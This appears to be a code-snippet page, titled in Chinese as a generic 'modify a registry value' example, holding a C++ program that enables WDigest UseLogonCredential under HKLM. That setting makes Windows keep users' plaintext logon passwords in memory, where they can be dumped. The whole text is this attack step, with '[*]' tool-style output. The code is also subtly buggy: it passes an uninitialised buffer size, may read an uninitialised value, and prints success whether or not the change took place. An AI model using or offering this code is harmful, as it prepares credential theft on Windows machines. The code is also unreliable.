c++ 修改注册表键值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <windows.h>
#include <tchar.h>
#include <iostream>

using namespace std;

void UseLogonCredential();


int main()
{
UseLogonCredential();
}


void UseLogonCredential()
{
long lRet;
HKEY hKey;
DWORD WDigest;
DWORD dwType = REG_DWORD;
DWORD dwValue;
DWORD dwuC = 1;
lRet = RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
_T( "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" ),
0,
KEY_QUERY_VALUE | KEY_SET_VALUE,
&hKey
); /* 打开注册表 */
if ( lRet == ERROR_SUCCESS ) /* 读操作成功 */
{
lRet = RegQueryValueEx(
hKey,
_T( "UseLogonCredential" ),
0,
&dwType,
(LPBYTE) &WDigest,
&dwValue
);

//不存在该键则不修改

if ( lRet != 2 && WDigest != 1 )
{

printf( "[*] Manipulating Windows Registry to force WDigest use." );
lRet = RegSetValueEx( hKey, _T( "UseLogonCredential" ), 0, REG_DWORD, (BYTE *) &dwuC, sizeof(DWORD) );
if ( lRet != 0 )
{
_tprintf( TEXT( "\nRegSetValueEx failed with error %u\n" ), lRet );
}
}
if(WDigest == 1){
//修改成功
printf( "[*] Manipulating Windows Registry to force WDigest use." );

}
}
RegCloseKey(hKey);
}